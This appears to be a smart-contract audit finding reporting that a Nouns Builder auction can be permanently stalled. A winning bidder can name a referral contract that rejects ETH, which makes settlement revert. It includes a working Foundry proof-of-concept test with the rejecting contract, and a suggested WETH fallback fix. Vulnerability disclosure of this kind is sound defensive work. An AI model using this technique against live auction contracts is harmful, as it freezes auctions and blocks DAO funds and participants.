Rare Blue Monkey

high

# Auction contract can be bricked if bid referral rejects ETH transfers

## Summary
When creating a new bid, the bidder can set a referral address. If the bid wins, then an amount based on the `referralRewardsBPS` is transferred to the referral address. If this referral address rejects ETH transfers, then the current auction cannot be settled, and the auction will get stuck at the current token's bid.

## Vulnerability Detail
In the `Auction::_settleAuction()`, it computes the total rewards that needs to be sent to the founder, builder, and the bid referral using the `Auction::_computeTotalRewards()` method. We are interested in the bid referral rewards, which is calculated as follows:

```solidity
function _computeTotalRewards(
    address _currentBidRefferal,
    uint256 _finalBidAmount,
    uint256 _founderRewardBps
) internal view returns (RewardSplits memory split) {
    ...
    ...
    uint256 totalBPS = _founderRewardBps + referralRewardsBPS + builderRewardsBPS;
    ...
    ...
    // Set referral reward
    split.recipients[1] = _currentBidRefferal != address(0) ? _currentBidRefferal : builderRecipient;
    split.amounts[1] = (_finalBidAmount * referralRewardsBPS) / BPS_PER_100_PERCENT;
```

In the `Auction::_settleAuction()`, the `rewardsManager.depositBatch()` method is used to transfer the rewards.

```solidity
...
...
// Calculate rewards
RewardSplits memory split = _computeTotalRewards(currentBidReferral, highestBid, founderReward.percentBps);

if (split.totalRewards != 0) {
    // Deposit rewards
    rewardsManager.depositBatch{ value: split.totalRewards }(split.recipients, split.amounts, split.reasons, "");
}
...
...
```

`rewardsManager` is basically `IProtocolRewards.sol`, and following is the documentation for the `depositBatch()` method:

```solidity
    /// @notice Generic function to deposit ETH for multiple recipients, with an optional comment
    /// @param recipients recipients to send the amount to, array aligns with amounts
    /// @param amounts amounts to send to each recipient, array aligns with recipients
    /// @param reasons optional bytes4 hash for indexing
    /// @param comment Optional comment to include with mint
    function depositBatch(
        address[] calldata recipients,
        uint256[] calldata amounts,
        bytes4[] calldata reasons,
        string calldata comment
    ) external payable;
```

We can see that its a `Generic function to deposit ETH for multiple recipients`. So if one of the recipients is a contract that rejects ETH transfers, then this method will fail.

Now, if `rewardsManager.depositBatch()` method fails, then `Auction::_settleAuction()` will fail, and the auction can never settle, thereby making the auction to get stuck at the current token being auctioned.

### Example user flow
* The Auction sets 10 bps as referral reward.
* Chuck creates a contract which rejects ETH. In the POC, its the `ReferralAccount` contract for reference.
* Chuck places a bid with the `ReferralAccount` as the referral.
* Chuck wins the bid.
* The Auction is attempted to be settled. But the referral rewards sent to Chuck's bid referral gets rejected.
* The Auction cannot be settled, and is now stuck

## Proof of Concept

The test below can be run using this command: `forge test --match-test "test_bad_referral"`

(The actual attack happens in the `test_bad_referral()` function. Majority of the code is just setup and deployment steps)

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;

import "forge-std/console.sol";
import { Test } from "forge-std/Test.sol";
import { IToken, Token } from "../src/token/Token.sol";
import { NounsBuilderTest } from "./utils/NounsBuilderTest.sol";
import { MockERC721 } from "./utils/mocks/MockERC721.sol";
import { MockImpl } from "./utils/mocks/MockImpl.sol";
import { MockPartialTokenImpl } from "./utils/mocks/MockPartialTokenImpl.sol";
import { Auction } from "../src/auction/Auction.sol";
import { IAuction } from "../src/auction/IAuction.sol";
import { AuctionTypesV2 } from "../src/auction/types/AuctionTypesV2.sol";
import { WETH } from "./utils/mocks/WETH.sol";
import { IManager, Manager } from "../src/manager/Manager.sol";
import { MetadataRenderer } from "../src/token/metadata/MetadataRenderer.sol";
import { MetadataRendererTypesV1 } from "../src/token/metadata/types/MetadataRendererTypesV1.sol";
import { IGovernor, Governor } from "../src/governance/governor/Governor.sol";
import { ITreasury, Treasury } from "../src/governance/treasury/Treasury.sol";
import { ERC1967Proxy } from "../src/lib/proxy/ERC1967Proxy.sol";

contract AuctionTest is Test {
    IManager.FounderParams[] internal foundersArr;
    IManager.TokenParams internal tokenParams;
    IManager.AuctionParams internal auctionParams;
    IManager.GovParams internal govParams;

    address internal chuckTheBidder;

    address internal founder;
    address internal founder2;

    Token internal token;
    MetadataRenderer internal metadataRenderer;
    Auction internal auction;
    Treasury internal treasury;
    Governor internal governor;

    address internal dao;

    address internal managerImpl0;
    address internal managerImpl;
    address internal tokenImpl;
    address internal metadataRendererImpl;
    address internal auctionImpl;
    address internal treasuryImpl;
    address internal governorImpl;

    Manager internal manager;
    address internal rewards;

    address internal weth;

    ReferralAccount internal referralAccount;

    function setUp() public virtual {
        chuckTheBidder = vm.addr(0xB2);

        founder = vm.addr(0xCAB);
        founder2 = vm.addr(0xDAD);

        dao = vm.addr(0xB0B);

        vm.deal(chuckTheBidder, 100 ether);

        weth = address(new WETH());

        referralAccount = new ReferralAccount();

        managerImpl0 = address(new Manager(address(0), address(0), address(0), address(0), address(0), address(0)));
        manager = Manager(address(new ERC1967Proxy(managerImpl0, abi.encodeWithSignature("initialize(address)", dao))));
        rewards = address(new MockProtocolRewards());

        tokenImpl = address(new Token(address(manager)));

        metadataRendererImpl = address(new MetadataRenderer(address(manager)));

        auctionImpl = address(new Auction(address(manager), address(rewards), weth, 0, 10));

        treasuryImpl = address(new Treasury(address(manager)));

        governorImpl = address(new Governor(address(manager)));

        managerImpl = address(new Manager(tokenImpl, metadataRendererImpl, auctionImpl, treasuryImpl, governorImpl, dao));

        vm.prank(dao);
        manager.upgradeTo(managerImpl);

        setFounderParams();
        setTokenParams();
        setAuctionParams();
        setGovParams();
        deploy();
        setMockMetadata();
    }

    function setFounderParams() internal virtual {
        address[] memory wallets = new address[](2);
        uint256[] memory percents = new uint256[](2);
        uint256[] memory vestingEnds = new uint256[](2);

        wallets[0] = founder;
        wallets[1] = founder2;

        percents[0] = 10;
        percents[1] = 5;

        vestingEnds[0] = 4 weeks;
        vestingEnds[1] = 4 weeks;

        uint256 numFounders = wallets.length;

        require(numFounders == percents.length && numFounders == vestingEnds.length);

        unchecked {
            for (uint256 i; i < numFounders; ++i) {
                foundersArr.push();

                foundersArr[i] = IManager.FounderParams({ wallet: wallets[i], ownershipPct: percents[i], vestExpiry: vestingEnds[i] });
            }
        }
    }

    function setTokenParams() internal virtual {
        bytes memory initStrings = abi.encode(
            "Mock Token",
            "MOCK",
            "This is a mock token",
            "ipfs://Qmew7TdyGnj6YRUjQR68sUJN3239MYXRD8uxowxF6rGK8j",
            "https://nouns.build",
            "http://localhost:5000/render"
        );

        tokenParams = IManager.TokenParams({ initStrings: initStrings, metadataRenderer: address(0), reservedUntilTokenId: 0 });
    }

    function setAuctionParams() internal virtual {
        auctionParams = IManager.AuctionParams({ reservePrice: 0, duration: 10 minutes, founderRewardRecipent: address(0), founderRewardBps: 0 });
    }

    function setGovParams() internal virtual {
        govParams = IManager.GovParams({
            timelockDelay: 2 days,
            votingDelay: 1 seconds,
            votingPeriod: 1 weeks,
            proposalThresholdBps: 50,
            quorumThresholdBps: 1000,
            vetoer: founder
        });
    }

    function setMockMetadata() internal {
        string[] memory names = new string[](1);
        names[0] = "testing";

        MetadataRendererTypesV1.ItemParam[] memory items = new MetadataRendererTypesV1.ItemParam[](2);
        items[0] = MetadataRendererTypesV1.ItemParam({ propertyId: 0, name: "failure1", isNewProperty: true });
        items[1] = MetadataRendererTypesV1.ItemParam({ propertyId: 0, name: "failure2", isNewProperty: true });

        MetadataRendererTypesV1.IPFSGroup memory ipfsGroup = MetadataRendererTypesV1.IPFSGroup({ baseUri: "BASE_URI", extension: "EXTENSION" });

        vm.prank(metadataRenderer.owner());
        metadataRenderer.addProperties(names, items, ipfsGroup);
    }

    function deploy() internal virtual {
        (address _token, address _metadata, address _auction, address _treasury, address _governor) = manager.deploy(
            foundersArr,
            tokenParams,
            auctionParams,
            govParams
        );

        token = Token(_token);
        metadataRenderer = MetadataRenderer(_metadata);
        auction = Auction(_auction);
        treasury = Treasury(payable(_treasury));
        governor = Governor(_governor);
    }

    function test_bad_referral() public {
        vm.prank(founder);
        auction.unpause();

        vm.prank(chuckTheBidder);
        auction.createBidWithReferral{ value: 1 ether }(2, address(referralAccount));

        vm.warp(10 minutes + 1 seconds);

        vm.expectRevert(abi.encodeWithSignature("NO_TRANSFERS_ALLOWED()"));
        auction.settleCurrentAndCreateNewAuction();
    }
}

contract MockProtocolRewards {
    error ADDRESS_ZERO();
    error ARRAY_LENGTH_MISMATCH();
    error INVALID_DEPOSIT();

    function depositBatch(address[] calldata recipients, uint256[] calldata amounts, bytes4[] calldata reasons, string calldata) external payable {
        uint256 numRecipients = recipients.length;

        if (numRecipients != amounts.length || numRecipients != reasons.length) {
            revert ARRAY_LENGTH_MISMATCH();
        }

        uint256 expectedTotalValue;

        for (uint256 i; i < numRecipients; ) {
            expectedTotalValue += amounts[i];

            unchecked {
                ++i;
            }
        }

        if (msg.value != expectedTotalValue) {
            revert INVALID_DEPOSIT();
        }

        address payable currentRecipient;
        uint256 currentAmount;

        for (uint256 i; i < numRecipients; ) {
            currentRecipient = payable(recipients[i]);
            currentAmount = amounts[i];

            if (currentRecipient == address(0)) {
                revert ADDRESS_ZERO();
            }

            currentRecipient.transfer(currentAmount);

            unchecked {
                ++i;
            }
        }
    }
}

contract ReferralAccount {
    error NO_TRANSFERS_ALLOWED();

    receive() external payable {
        revert NO_TRANSFERS_ALLOWED();
    }

    fallback() external payable {
        revert NO_TRANSFERS_ALLOWED();
    }
}
```

## Impact

As the bid winner's referral rejects ETH transfer, the rewards are never sent, which makes the auction settlement to fail. And because the current auction cannot be settled, a new auction cannot be started, thereby bricking the auction all together.

## Code Snippet

https://github.com/sherlock-audit/2023-09-nounsbuilder/blob/main/nouns-protocol/src/auction/Auction.sol#L272

## Tool used

Manual Review

## Recommendation

Similar to `Auction::_handleOutgoingTransfer()`, if ETH transfer fails, then attempt to send rewards in WETH.